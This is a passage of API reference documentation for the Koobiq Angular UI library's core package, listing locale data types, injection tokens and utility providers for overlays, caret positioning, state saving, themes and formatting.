                abbreviations: string[];
                base: number;
                power: number;
            };
            IEC: {
                abbreviations: string[];
                base: number;
                power: number;
            };
        };
    };
};
```

##### esLALocaleData (const)

```ts
const esLALocaleData: {
    a11y: {
        close: string;
        save: string;
        saving: string;
        saveFailed: string;
        cancel: string;
        edit: string;
        removeAll: string;
        remove: string;
        breadcrumbs: string;
        expandBreadcrumbs: string;
        previousMonth: string;
        currentDate: string;
        nextMonth: string;
        clear: string;
        showPassword: string;
        hidePassword: string;
        resizeColumns: string;
        resizePanels: string;
        toastRegion: string;
        optionActions: string;
        progressBar: string;
    };
    select: {
        hiddenItemsText: string;
        selectAll: string;
    };
    datepicker: {
        placeholder: string;
    };
    timepicker: {
        placeholder: {
            full: string;
            short: string;
        };
    };
    fileUpload: {
        a11y: {
            fileAdded: string;
            fileRemoved: string;
            filesNotAdded: string;
        };
        single: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
        };
        multiple: {
            captionText: string;
            captionTextOnlyFolder: string;
            captionTextWithFolder: string;
            captionTextWhenSelected: string;
            captionTextForCompactSize: string;
            browseLink: string;
            browseLinkFolder: string;
            browseLinkFolderMixed: string;
            title: string;
        };
    };
    codeBlock: {
        softWrapOnTooltip: string;
        softWrapOffTooltip: string;
        downloadTooltip: string;
        copiedTooltip: string;
        copyTooltip: string;
        viewAllText: string;
        viewLessText: string;
        openExternalSystemTooltip: string;
    };
    timezone: {
        searchPlaceholder: string;
        otherCountriesLabel: string;
    };
    actionsPanel: {
        closeTooltip: string;
    };
    filterBar: {
        reset: {
            buttonName: string;
        };
        search: {
            tooltip: string;
            placeholder: string;
        };
        filters: {
            defaultName: string;
            saveNewFilterTooltip: string;
            searchPlaceholder: string;
            searchEmptyResult: string;
            saveAsNewFilter: string;
            saveChangesHeader: string;
            saveChangesButton: string;
            saveAsNewHeader: string;
            saveAsNewButton: string;
            change: string;
            resetChanges: string;
            remove: string;
            errorHint: string;
            saveButton: string;
            cancelButton: string;
            actionsTooltip: string;
        };
        add: {
            tooltip: string;
            addedAnnouncement: string;
        };
        refresher: {
            refresh: string;
            settings: string;
        };
        pipe: {
            clearButtonTooltip: string;
            removeButtonTooltip: string;
            applyButton: string;
            emptySearchResult: string;
            selectAll: string;
            noOptions: string;
        };
        datePipe: {
            customPeriod: string;
            customPeriodFrom: string;
            customPeriodTo: string;
            customPeriodErrorHint: string;
            customPeriodMinIntervalErrorHint: string;
            customPeriodMaxIntervalErrorHint: string;
            backToPeriodSelection: string;
        };
    };
    clampedText: {
        openText: string;
        closeText: string;
        showMoreText: string;
        moreText: string;
    };
    navbar: {
        toggle: {
            expand: string;
            collapse: string;
        };
    };
    searchExpandable: {
        tooltip: string;
        placeholder: string;
    };
    appSwitcher: {
        searchPlaceholder: string;
        searchEmptyResult: string;
        sitesHeader: string;
        clearSearch: string;
    };
    username: {
        siteLabel: string;
    };
    popoverConfirm: {
        confirmText: string;
        confirmButtonText: string;
    };
    timeRange: {
        title: {
            placeholder: string;
        };
        editor: {
            from: string;
            to: string;
            apply: string;
            cancel: string;
            rangeLabel: string;
            outOfBoundsError: string;
            allTime: string;
            currentQuarter: string;
            currentYear: string;
            allTimeOption: string;
            currentQuarterOption: string;
            currentYearOption: string;
        };
        durationTemplate: {
            title: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
            option: {
                SEPARATOR: string;
                LAST_PART_SEPARATOR: string;
                YEARS: string;
                MONTHS: string;
                WEEKS: string;
                DAYS: string;
                HOURS: string;
                MINUTES: string;
                SECONDS: string;
                YEARS_FRACTION: string;
                MONTHS_FRACTION: string;
            };
        };
    };
    notificationCenter: {
        notifications: string;
        remove: string;
        removeAll: string;
        doNotDisturb: string;
        showPopUpNotifications: string;
        noNotifications: string;
        failedToLoadNotifications: string;
        repeat: string;
        loadingMore: string;
        unread: string;
    };
};
```

##### getContentNodes (const)

Child nodes that take part in the icon detection: comments and whitespace-only text nodes are
ignored so that detection does not depend on `preserveWhitespaces`.

```ts
const getContentNodes: (element: Node) => Node[];
```

##### getHumanizedBytes (const)

Converts bytes to Kb, Mb, Gb

```ts
const getHumanizedBytes: (
    value: number,
    system: KbqUnitSystem,
    threshold?: number
) => { result: number; unit: string };
```

##### getNodesWithoutComments (const)

```ts
const getNodesWithoutComments: (nodes: NodeList) => Node[];
```

##### isElement (const)

Whether the value is Element.

```ts
const isElement: (value: unknown) => value is Element;
```

##### isHtmlElement (const)

Whether the value is HTMLElement.

```ts
const isHtmlElement: (value: unknown) => value is HTMLElement;
```

##### isHtmlElementOrNull (const)

Whether the value is HTMLElement or null.

```ts
const isHtmlElementOrNull: (
    value: unknown
) => value is HTMLElement | null;
```

##### isNull (const)

Whether the value is null.

```ts
const isNull: (value: unknown) => value is null;
```

##### isUndefined (const)

Whether the value is undefined.

```ts
const isUndefined: (value: unknown) => value is undefined;
```

##### KBQ_A11Y_LOCALE_CONFIGURATION (const)

Localization configuration provider for the accessible names of built-in icon-only buttons.

```ts
const KBQ_A11Y_LOCALE_CONFIGURATION: InjectionToken<KbqA11yLocaleConfiguration>;
```

##### KBQ_ANIMATIONS_CONFIG (const)

Configures the motion of Koobiq components, for example `{ animationsDisabled: true }` for a test suite
that should not wait for transitions.

```ts
const KBQ_ANIMATIONS_CONFIG: InjectionToken<KbqAnimationsConfig>;
```

##### KBQ_CHECKABLE_CLICK_ACTION (const)

Injection token that can be used to specify the default click behavior for checkable controls.

```ts
const KBQ_CHECKABLE_CLICK_ACTION: InjectionToken<KbqCheckableClickAction>;
```

##### KBQ_CONNECTED_OVERLAY_ABOVE_CLASS (const)

Pane class applied to a connected overlay whose panel is positioned ABOVE its trigger (flipped).

Mirror of `KBQ_CONNECTED_OVERLAY_BELOW_CLASS`: the visual gap is recreated as transparent
`padding-bottom` inside the pane so the flipped gap is not click/hover-through.

```ts
const KBQ_CONNECTED_OVERLAY_ABOVE_CLASS: string;
```

##### KBQ_CONNECTED_OVERLAY_BELOW_CLASS (const)

Pane class applied to a connected overlay whose panel is positioned BELOW its trigger.

Used instead of a physical `offsetY` gap: the pane sits flush with the trigger and the visual gap is
recreated as transparent `padding-top` inside the pane (see the `kbq-connected-overlay-gap` styles), so the
gap is covered by the pane (`pointer-events: auto`) and can no longer be clicked/hovered through.

```ts
const KBQ_CONNECTED_OVERLAY_BELOW_CLASS: string;
```

##### KBQ_CONNECTED_OVERLAY_ORIGIN (const)

Injection token for `KbqConnectedOverlayOriginProvider`. Provide it on an ancestor
component to redirect where a nested `KbqFormField`'s control positions its overlay.

```ts
const KBQ_CONNECTED_OVERLAY_ORIGIN: InjectionToken<KbqConnectedOverlayOriginProvider>;
```

##### KBQ_CONNECTED_OVERLAY_OVERLAP_CLASS (const)

Pane class applied to a connected overlay whose panel is anchored to the FIRST ROW of a trigger it
OVERLAPS — a multiline select whose tag rows have made it taller than the panel itself, with too little
room to open on either side of it.

The panel ends up where it would for a single-row trigger, so the gap is the same transparent
`padding-top` as `KBQ_CONNECTED_OVERLAY_BELOW_CLASS`. It is a separate class because the room left
for the panel has to be measured from the first row rather than from the trigger's bottom edge, and the
class is how the component tells the two apart.

```ts
const KBQ_CONNECTED_OVERLAY_OVERLAP_CLASS: string;
```

##### KBQ_CUSTOM_SCROLL_STRATEGY_PROVIDER (const)

```ts
const KBQ_CUSTOM_SCROLL_STRATEGY_PROVIDER: <T>(token: InjectionToken<T>, factory: (overlay: Overlay) => () => ScrollStrategy) => { provide: InjectionToken<T>; deps: (typeof Overlay)[]; useFactory: (overlay: Overlay) => () => ScrollStrategy; };
```

##### KBQ_DATE_FORMATS (const)

```ts
const KBQ_DATE_FORMATS: InjectionToken<DateFormats>;
```

##### KBQ_DATE_LOCALE (const)

InjectionToken for datepicker that can be used to override default locale code.

```ts
const KBQ_DATE_LOCALE: InjectionToken<string>;
```

##### KBQ_DATE_TIMEZONE (const)

InjectionToken for the time zone every date the library formats is rendered in.

Read once, by the `KbqDateTimezoneService` constructor, out of the injector that created the
service — call `KbqDateTimezoneService.setTimezone` to change the zone afterwards. Defaults to
`'system'`, the zone of the host the code runs on.

```ts
const KBQ_DATE_TIMEZONE: InjectionToken<KbqTimezoneLike>;
```

##### KBQ_DEFAULT_LOCALE_ID (const)

```ts
const KBQ_DEFAULT_LOCALE_ID: string;
```

##### KBQ_DEFAULT_THEMES (const)

The built-in light/dark theme set — `KBQ_THEME_CONFIG`'s default `themes`.

```ts
const KBQ_DEFAULT_THEMES: KbqThemeConfig[];
```

##### KBQ_FORMATTERS_LOCALE_CONFIGURATION (const)

Localization configuration provider for the number formatting rules — the decimal separators the
pipes apply on top of `Intl.NumberFormat`, and the abbreviations `kbqRoundNumber` renders.

Supplies the defaults only: the active locale wins over it, and
`kbqFormattersLocaleConfigurationProvider` wins over both.

```ts
const KBQ_FORMATTERS_LOCALE_CONFIGURATION: InjectionToken<KbqFormattersLocaleConfiguration>;
```

##### KBQ_INVALID_VALUE_ERROR (const)

```ts
const KBQ_INVALID_VALUE_ERROR: string;
```

##### KBQ_LOCALE_DATA (const)

```ts
const KBQ_LOCALE_DATA: InjectionToken<KbqLocaleDataInput>;
```

##### KBQ_LOCALE_ID (const)

```ts
const KBQ_LOCALE_ID: InjectionToken<KbqLocaleIdLike>;
```

##### KBQ_LOCALE_SERVICE (const)

```ts
const KBQ_LOCALE_SERVICE: InjectionToken<KbqLocaleService>;
```

##### KBQ_NUMBER_FORMATTER_DEFAULT_OPTIONS (const)

```ts
const KBQ_NUMBER_FORMATTER_DEFAULT_OPTIONS: ParsedDigitsInfo;
```

##### KBQ_NUMBER_FORMATTER_OPTIONS (const)

```ts
const KBQ_NUMBER_FORMATTER_OPTIONS: InjectionToken<ParsedDigitsInfo>;
```

##### KBQ_OPTION_ACTION_PARENT (const)

```ts
const KBQ_OPTION_ACTION_PARENT: InjectionToken<KbqOptionActionParent>;
```

##### KBQ_OPTION_PARENT_COMPONENT (const)

Injection token used to provide the parent component to options.

```ts
const KBQ_OPTION_PARENT_COMPONENT: InjectionToken<KbqOptionParentComponent>;
```

##### KBQ_OVERFLOW_SHADOW_SOURCE (const)

DI token a scrollable wrapper component can provide to expose itself as the scroll source
for a co-located `KbqOverflowShadowContainer` (see `KbqScrollbar`).

```ts
const KBQ_OVERFLOW_SHADOW_SOURCE: InjectionToken<KbqOverflowShadowSource>;
```

##### KBQ_OVERLAY_LAYERS (const)

Places overlays into the layer of the `KbqOverlayLayer` element their origin is in.

```ts
const KBQ_OVERLAY_LAYERS: InjectionToken<KbqOverlayLayers>;
```

##### KBQ_PANEL_DEFAULT_MIN_WIDTH (const)

Default minimum width of an overlay panel, in pixels.

Kept in sync by hand with `--kbq-dropdown-size-container-width-min` in `dropdown-tokens.scss`,
which expresses the same default for the dropdown's CSS-driven sizing.

```ts
const KBQ_PANEL_DEFAULT_MIN_WIDTH: number;
```

##### KBQ_PARENT_POPUP (const)

InjectionToken for providing component with popup. Used in select and tree-select for tooltip.

```ts
const KBQ_PARENT_POPUP: InjectionToken<KbqParentPopup>;
```

##### KBQ_POPOVER_CONFIRM_LOCALE_CONFIGURATION (const)

Localization configuration provider for the default strings of a confirmation popover.

```ts
const KBQ_POPOVER_CONFIRM_LOCALE_CONFIGURATION: InjectionToken<KbqPopoverConfirmLocaleConfiguration>;
```

##### KBQ_SELECT_DEFAULT_LOCALE_CONFIGURATION (const)

Default localized strings shared by the select-like components.

```ts
const KBQ_SELECT_DEFAULT_LOCALE_CONFIGURATION: KbqSelectLocaleConfiguration;
```

##### KBQ_SELECT_LOCALE_CONFIGURATION (const)

Localization configuration provider for the select-like components.

Lives in `core` rather than in `@koobiq/components/select` because several packages that do not depend
on one another read this section: `KbqSelect`, `KbqTreeSelect`, `KbqTreeSelection` (the last one also
standalone, outside a tree-select) and `KbqListSelection`.

```ts
const KBQ_SELECT_LOCALE_CONFIGURATION: InjectionToken<KbqSelectLocaleConfiguration>;
```

##### KBQ_SELECT_SCROLL_STRATEGY (const)

Injection token that determines the scroll handling while a select is open.

The root default keeps the select usable when it is reached outside `KbqSelectModule`'s injector - imported
as a bare standalone component, pulled in through another standalone component (`KbqTimezoneSelect`,
`KbqCalendarHeader`), or rendered in a component built from the root injector, as `KbqModalService` does.
Providing the token anywhere still wins over this default.

```ts
const KBQ_SELECT_SCROLL_STRATEGY: InjectionToken<() => ScrollStrategy>;
```

##### KBQ_SELECT_SEARCH_MIN_OPTIONS_THRESHOLD (const)

Minimum option count threshold for displaying select search.
Search is hidden when fewer options are available.

```ts
const KBQ_SELECT_SEARCH_MIN_OPTIONS_THRESHOLD: number;
```

##### KBQ_SHADOW_DOM_OVERLAY_HOST (const)

Element used by `KbqShadowDomOverlayContainer` to locate the shadow root that should host overlays.

When not provided, the container falls back to the application root component element.

```ts
const KBQ_SHADOW_DOM_OVERLAY_HOST: InjectionToken<KbqShadowDomOverlayHost>;
```

##### KBQ_SIBLING_POPUP (const)

Element-level token for pop-ups sharing their trigger element with a tooltip. Multi-provided, so a single
element can carry several pop-ups at once — for example the filter-bar button with both a popover and a
dropdown attached to it.

```ts
const KBQ_SIBLING_POPUP: InjectionToken<readonly KbqSiblingPopup[]>;
```

##### KBQ_SIZE_UNITS_CONFIG (const)

Deprecated: Use `KBQ_SIZE_UNITS_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_SIZE_UNITS_CONFIG: InjectionToken<KbqSizeUnitsLocaleConfiguration>;
```

##### KBQ_SIZE_UNITS_DEFAULT_CONFIG (const)

Deprecated: Use `KBQ_SIZE_UNITS_DEFAULT_LOCALE_CONFIGURATION`. Will be removed in 22.0.0.

```ts
const KBQ_SIZE_UNITS_DEFAULT_CONFIG: KbqSizeUnitsLocaleConfiguration;
```

##### KBQ_SIZE_UNITS_DEFAULT_LOCALE_CONFIGURATION (const)

```ts
const KBQ_SIZE_UNITS_DEFAULT_LOCALE_CONFIGURATION: KbqSizeUnitsLocaleConfiguration;
```

##### KBQ_SIZE_UNITS_LOCALE_CONFIGURATION (const)

Configuration for converting sizes in different unit systems. Supplies the defaults only — the active
locale wins over it, and `kbqSizeUnitsLocaleConfigurationProvider` wins over both.

```ts
const KBQ_SIZE_UNITS_LOCALE_CONFIGURATION: InjectionToken<KbqSizeUnitsLocaleConfiguration>;
```

##### KBQ_STATE_SAVING_ENABLED (const)

What `useStateSaving` defaults to. Provide `false` to turn state saving off across an application;
a component opts back in with `[useStateSaving]="true"`.

The only switch in place before the first component reads — `KbqStateSavingService.setEnabled()` runs
later than that.

```ts
const KBQ_STATE_SAVING_ENABLED: InjectionToken<boolean>;
```

##### KBQ_STATE_SAVING_KEY_RESOLVER (const)

Injection token for the strategy that derives a storage key from the host element when a component
persists state without a `stateSavingKey`. Defaults to `kbqStructuralStateSavingKey`.

Replace it to key the state on something the DOM does not know about — an application that keeps the
same layout across parameterized routes can prefix the resolved key with the route it is on.

```ts
providers: [
    {
        provide: KBQ_STATE_SAVING_KEY_RESOLVER,
        useFactory: () => {
            const router = inject(Router);

            return (host: Element | null) => `${router.url}|${kbqStructuralStateSavingKey(host)}`;
        }
    }
]
```

```ts
const KBQ_STATE_SAVING_KEY_RESOLVER: InjectionToken<KbqStateSavingKeyResolver>;
```

##### KBQ_STATE_SAVING_TTL (const)

How long a web-storage entry survives without being written or read, in milliseconds.
Defaults to 90 days.

Components persist under keys derived from the host's position in the document when no
`stateSavingKey` is given, so a restructuring silently strands the entry written under the previous
key. The TTL is what eventually collects those.

```ts
const KBQ_STATE_SAVING_TTL: InjectionToken<number>;
```

##### KBQ_STATE_STORE (const)

Injection token for the store components persist their state into (see `KbqStateStore`).
Defaults to a `localStorage`-backed implementation (`KbqLocalStorageStateStore`).

Providing it in a component's own `providers` scopes the replacement to that subtree.

```ts
const KBQ_STATE_STORE: InjectionToken<KbqStateStore>;
```

##### KBQ_THEME_CONFIG (const)

Injection token for `KbqThemeService`'s settings. Configure via `kbqThemeProvider()`, not this directly.

```ts
const KBQ_THEME_CONFIG: InjectionToken<KbqThemeSettings>;
```

##### KBQ_THEME_STORE (const)

Injection token for the store used to persist the current mode (see `KbqThemeStore`).
Defaults to a `localStorage`-backed implementation (`KbqThemeLocalStorageStore`).

```ts
const KBQ_THEME_STORE: InjectionToken<KbqThemeStore>;
```

##### KBQ_TITLE_TEXT_REF (const)

```ts
const KBQ_TITLE_TEXT_REF: InjectionToken<KbqTitleTextRef>;
```

##### KBQ_WINDOW (const)

An abstraction over the global `window` object.

```ts
const KBQ_WINDOW: InjectionToken<Window>;
```

##### kbqA11yLocaleConfigurationProvider (const)

Utility provider of `KBQ_A11Y_LOCALE_CONFIGURATION`. Only the names you pass are overridden;
the rest keep following the active locale.

```ts
const kbqA11yLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqA11yLocaleConfiguration>
) => Provider;
```

##### kbqCreateCaretOrigin (const)

Overlay origin that stays on the caret: a virtual origin for `FlexibleConnectedPositionStrategy.setOrigin()` whose
`x`, `y`, `width` and `height` are measured again whenever the strategy reads them.

A plain rectangle is a snapshot, and every repositioning the caret itself does not cause — a scrolled page, a resized
window, the field moving within its layout — would place the overlay at coordinates the caret has left. Reads made
within one task share one measurement, so positioning the overlay measures the caret once.

`measure` returns the rectangle to anchor to, including a fallback for when the caret cannot be located.

```ts
const kbqCreateCaretOrigin: (
    measure: () => KbqCaretRect
) => Readonly<KbqCaretRect>;
```

##### kbqDateTimezoneProvider (const)

Utility provider of `KBQ_DATE_TIMEZONE`, the time zone dates are rendered in.

Provides `KbqDateTimezoneService` alongside the token, so listing it in a component's `providers`
scopes the zone to that subtree instead of resolving the root service and silently doing nothing.

```ts
const kbqDateTimezoneProvider: (
    timezone: KbqTimezoneLike
) => Provider[];
```

##### kbqDeepMerge (const)

Recursively completes `patch` from `base` — the runtime counterpart of `KbqDeepPartial`.

A shallow spread would be wrong for any `T` with a nested section: `{ ...base, ...patch }` replaces a
whole sub-object, dropping the sibling keys the patch never mentioned.

Returns `base` itself whenever the patch adds nothing, so that overriding one section leaves every
other section referentially identical to the object it was completed from.

```ts
const kbqDeepMerge: <T>(
    base: T,
    patch: NoInfer<KbqDeepPartial<T>> | undefined
) => T;
```

##### kbqErrorStateMatcherProvider (const)

Utility provider for `ErrorStateMatcher`.

```ts
const kbqErrorStateMatcherProvider: (
    errorStateMatcher: Type<ErrorStateMatcher> | ErrorStateMatcher
) => Provider;
```

##### kbqFilesizeFormatterConfigurationProvider (const)

Deprecated: Use `kbqSizeUnitsLocaleConfigurationProvider`. Will be removed in 22.0.0.

```ts
const kbqFilesizeFormatterConfigurationProvider: (
    configuration: KbqDeepPartial<KbqSizeUnitsLocaleConfiguration>
) => Provider;
```

##### kbqFocusAndReveal (const)

Focuses `element` and scrolls it into view by the shortest distance, leaving a visible one alone.

The reveal is explicit because the one `focus()` performs implicitly is not portable: WebKit defers it
to a later rendering update, where it lands after — and undoes — any scrolling the reader did in the
meantime. Letting the element reveal itself keeps every consumer working, whatever it uses as a scroll
container, and the browser resolves that container rather than the caller guessing at it.

Pass `skipReveal` when the pointer caused the focus: the element is already under the cursor, so
revealing it would shift the list out from under it.

```ts
const kbqFocusAndReveal: (element: HTMLElement, skipReveal?: boolean) => void;
```

##### kbqFormattersLocaleConfigurationProvider (const)

Utility provider of `KBQ_FORMATTERS_LOCALE_CONFIGURATION`. Only the rules you pass are overridden;
the rest keep following the active locale.

```ts
const kbqFormattersLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqFormattersLocaleConfiguration>
) => Provider;
```

##### kbqGetCaretRect (const)

Rectangle of the caret in `element`, in viewport coordinates, or `null` when there is nothing to measure —
the element holds no selection, or it is detached from a rendered document.

Falls back to the element's own box for fields whose rendered text is not their value (`password` and
friends), for right-to-left text, where the visual order of a bidi line is not a prefix of the value, and for
inputs whose text is centred or end-aligned.
The result is always clamped to the field's visible box, so a caret scrolled out of view keeps whatever is
anchored to it next to the field instead of sending it off screen.

```ts
const kbqGetCaretRect: (element: KbqTextAnchor) => KbqCaretRect | null;
```

##### kbqGetElementHeight (const)

Rendered height of an element, or `0` when it has no box.

`getClientRects()` returns an empty list for elements that are not laid out and is missing entirely
from the server DOM, so both the method and the first rect are read defensively rather than going
through `getBoundingClientRect()`, whose zeroes are indistinguishable from a genuinely collapsed
element.

```ts
const kbqGetElementHeight: (element: Element) => number;
```

##### kbqGetOverlayOriginSize (const)

Rectangle of an overlay origin in viewport coordinates, for measurements and arrow alignment.

```ts
const kbqGetOverlayOriginSize: (
    origin: KbqOverlayOrigin | FlexibleConnectedPositionStrategyOrigin
) => Pick<KbqCaretRect, 'x' | 'y' | 'width' | 'height'>;
```

##### kbqGetScrollOverflowTolerance (const)

Largest disagreement (px) between an element's box metrics and the scroll offset the browser actually
hands out.

`scrollWidth`/`clientWidth` are rounded to whole CSS pixels (up to 1px of error) while the scroll offset
snaps to the device-pixel grid, whose step is `1 / devicePixelRatio` CSS px — so the bound is
`1 + 1 / devicePixelRatio` and widens as the page is zoomed out, rather than being a constant. At 50% zoom
on a 1× display it is already 3px, which is why a fixed tolerance leaks the bug back in at low zoom.

The view is resolved from the element rather than a global, so the helper stays usable on the server.

```ts
const kbqGetScrollOverflowTolerance: (element: Element) => number;
```

##### kbqGetSelectionRect (const)

Rectangle of the text selected in `element`, in viewport coordinates, collapsing to the caret rectangle
(`kbqGetCaretRect`) when nothing is selected.

```ts
const kbqGetSelectionRect: (
    element: KbqTextAnchor
) => KbqCaretRect | null;
```

##### kbqGetTextQuery (const)

Query right before `caret` in `value`, or `null` when the text there is not one.

With `triggers`, the query runs from the closest trigger to the caret. The trigger has to start the line or
follow whitespace — so that the `@` of an e-mail address opens nothing — and no whitespace may stand between it
and the caret. Without `triggers`, the query is the word the caret ends.

```ts
const kbqGetTextQuery: (
    value: string,
    caret: number,
    { triggers = [], minLength }?: KbqTextQueryOptions
) => KbqTextQuery | null;
```

##### kbqHasScrollOverflow (const)

Whether `element` has scroll overflow along `axis` larger than the measurement error of the metrics it is
derived from — i.e. whether there is a scroll range the user can actually reach.

```ts
const kbqHasScrollOverflow: (
    element: Element,
    axis?: KbqScrollAxis
) => boolean;
```

##### kbqInjectAutofilled (const)

Tracks whether the current control's value was filled in by the browser, as a signal.

Call it from an injection context on a directive whose host is the element the browser actually
fills — a text `<input>` or a `<textarea>`. Every `KbqFormFieldControl` that can be autofilled
exposes the result as its `autofilled` member.

This is a hook for application code, not the mechanism behind the autofill styling. The styling
keys on `:autofill` in CSS, which matches in the same style pass the browser fills the field;
detection here goes through a zero-length keyframe animation and an `animationstart` listener, so
it lands a frame or two later — too late to paint with, and early enough for anything a component
wants to do about it.

`monitor()` returns EMPTY off the browser platform, so this needs no `Platform` guard.

```ts
const kbqInjectAutofilled: () => Signal<boolean>;
```

##### kbqInjectNativeElement (const)

Injects the native element for the current component.

```ts
const kbqInjectNativeElement: <T extends Element = HTMLElement>() => T;
```

##### kbqIsElementOrigin (const)

Whether the origin is an element with a box of its own, rather than a rectangle in viewport coordinates.

```ts
const kbqIsElementOrigin: (origin: KbqOverlayOrigin) => boolean;
```

##### kbqListenForCaretMoves (const)

Calls `callback` whenever the caret of `element` may have moved — the user typed, moved the caret, selected
text or scrolled the field — and returns the function that stops listening.

The listeners are bound in the zone the caller runs it in.

```ts
const kbqListenForCaretMoves: (
    renderer: Renderer2,
    element: HTMLElement,
    callback: () => void
) => (() => void);
```

##### kbqLocaleConfigurationOverrideProvider (const)

Registers a partial override of one locale section.

Backs every `kbq<Component>LocaleConfigurationProvider`. The override is applied on top of the active
locale rather than replacing it, so the keys it does not mention keep following `setLocale()`.

```ts
const kbqLocaleConfigurationOverrideProvider: <K extends KbqLocaleSection>(
    section: K,
    configuration: KbqDeepPartial<KbqLocaleData[K]>
) => Provider;
```

##### kbqLocaleIDProvider (const)

Utility provider of `KBQ_LOCALE_ID`, the locale to activate.

Belongs in the same `providers` array as `kbqLocaleServiceProvider`: the id is read once, by the
`KbqLocaleService` constructor, out of the injector that created the service. Use `setLocale()` to change
the locale afterwards.

```ts
const kbqLocaleIDProvider: (localeId: KbqLocaleIdLike) => Provider;
```

##### kbqLocaleServiceProvider (const)

Utility provider for the locale service. `KBQ_LOCALE_SERVICE` has no factory, so nothing is localized
until an application provides it.

Provides the service next to the token rather than aliasing the class through `useClass`, which builds a
*second* instance: the one the components read then has nothing to do with the one `inject(KbqLocaleService)`
hands out, and `setLocale()` called on the latter moves nothing that is rendered.

On a component it scopes the locale to that subtree — put `kbqLocaleIDProvider` in the same array to
pick the locale of that scope.

```ts
const kbqLocaleServiceProvider: () => Provider;
```

##### kbqOptionalNumberAttribute (const)

`numberAttribute` for an input whose default is `undefined`: a missing, empty or unparsable value gives
`undefined` rather than `NaN` or `0`. Angular's own transform returns `NaN`, which is not nullish and
therefore walks past every `??` meant to apply the default, and `0` for `null` and for an empty string.

```ts
const kbqOptionalNumberAttribute: (
    value: unknown
) => number | undefined;
```

##### kbqPopoverConfirmLocaleConfigurationProvider (const)

Utility provider of `KBQ_POPOVER_CONFIRM_LOCALE_CONFIGURATION`. Only the strings you pass are overridden;
the rest keep following the active locale.

```ts
const kbqPopoverConfirmLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqPopoverConfirmLocaleConfiguration>
) => Provider;
```

##### kbqResolveOverlayOrigin (const)

Resolves a Koobiq origin into the value a connected position strategy accepts.

```ts
const kbqResolveOverlayOrigin: (
    origin: KbqOverlayOrigin | FlexibleConnectedPositionStrategyOrigin
) => FlexibleConnectedPositionStrategyOrigin;
```

##### kbqResolveTimezoneOffset (const)

Offset of `timezone` at `timestamp`, in minutes east of UTC. `null` means "leave the date in the host
zone" — either because `timezone` is `'system'`, or because it is a name no `Intl` implementation knows.

Takes the instant because an IANA zone has no single offset: `'Europe/Berlin'` is +60 in January and
+120 in July, and one list of dates can span the change.

```ts
const kbqResolveTimezoneOffset: (
    timezone: KbqTimezoneLike,
    timestamp: number
) => number | null;
```

##### kbqRevealSelection (const)

Scrolls a text field horizontally so that its current selection is visible.

Browsers scroll a field to the caret only for edits the user makes: a selection set from script leaves
the field at whatever offset the last keystroke produced. A masked field re-renders its value and moves
the caret between value parts on every keystroke, so without this the field keeps the offset of the part
that was edited before and clips the one being edited now.

Leaves the field alone when it is not focused, when it renders something other than its value, and in
right-to-left text, where the browser's own caret following is already correct.

```ts
const kbqRevealSelection: (element: HTMLInputElement) => void;
```

##### kbqSelectLocaleConfigurationProvider (const)

Utility provider of `KBQ_SELECT_LOCALE_CONFIGURATION`. Only the strings you pass are overridden;
the rest keep following the active locale.

```ts
const kbqSelectLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqSelectLocaleConfiguration>
) => Provider;
```

##### kbqSetSelectionRange (const)

Selects the `[start, end]` range of a text field and keeps it visible with `kbqRevealSelection`.

```ts
const kbqSetSelectionRange: (
    element: HTMLInputElement,
    start: number,
    end: number
) => void;
```

##### kbqShadowDomOverlayProvider (const)

Providers that route all CDK overlays into a shadow root via `KbqShadowDomOverlayContainer`.

Add it to the bootstrap providers of an application rendered inside a shadow root:

```ts
bootstrapApplication(AppComponent, {
    providers: kbqShadowDomOverlayProvider(() => document.querySelector('my-mfe-root')!)
});
```

The provider replaces the global `OverlayContainer` token, so it cannot be combined with another custom
`OverlayContainer` (e.g. CDK's `FullscreenOverlayContainer`) — the last provider wins. Apps that need both must
subclass `KbqShadowDomOverlayContainer`.

```ts
const kbqShadowDomOverlayProvider: (
    host?: KbqShadowDomOverlayHost
) => Provider[];
```

##### kbqSiblingPopupProvider (const)

Builds the multi-provider entry a pop-up trigger adds to its own `providers` to announce itself to a
tooltip on the same element.

Every concrete trigger has to add it on its own: Angular copies `providers` to a subclass only when that
subclass has no decorator of its own, so inheriting from an already-announced trigger is not enough.

```ts
const kbqSiblingPopupProvider: (
    popup: Type<KbqSiblingPopup>
) => Provider;
```

##### kbqSizeUnitsLocaleConfigurationProvider (const)

Utility provider of `KBQ_SIZE_UNITS_LOCALE_CONFIGURATION`. Only the units you pass are overridden;
the rest keep following the active locale.

```ts
const kbqSizeUnitsLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqSizeUnitsLocaleConfiguration>
) => Provider;
```

##### kbqStructuralStateSavingKey (const)

Default `KbqStateSavingKeyResolver`: builds the key from where the host sits in the document.

Each segment is the tag name, suffixed with `:n` when earlier siblings share it. An author-written
`id` ends the walk and becomes the root segment, which is what makes the key survive a restructuring
above the component — and gives an author a way to pin it without reaching for `stateSavingKey`.

```
app-root/main/kbq-accordion
app-root/main/kbq-accordion:1
#settings-panel/div/kbq-accordion
#faq
```

```ts
const kbqStructuralStateSavingKey: KbqStateSavingKeyResolver;
```

##### kbqThemeProvider (const)

Configures `KbqThemeService` — registers custom themes, sets the initial mode, and how it's persisted.
Only the properties you pass are overridden; anything omitted keeps its `KBQ_THEME_DEFAULT_SETTINGS` value.

```ts
const kbqThemeProvider: <T extends KbqThemeConfig = KbqThemeConfig>(
    config: Partial<KbqThemeSettings<T>>
) => Provider;
```

##### POSITION_TO_CSS_MAP (const)

```ts
const POSITION_TO_CSS_MAP: { [key: string]: string };
```

##### ptBRFormattersData (const)

```ts
const ptBRFormattersData: {
    formatters: {
        number: {
            rounding: {
                separator: string;
                groupSeparator: string;
                thousand: string;
                million: string;
                billion: string;
                trillion: string;
            };
        };
    };
    input: {
        number: {
            groupSeparator: string[];
            fractionSeparator: string;
        };
    };
    sizeUnits: {
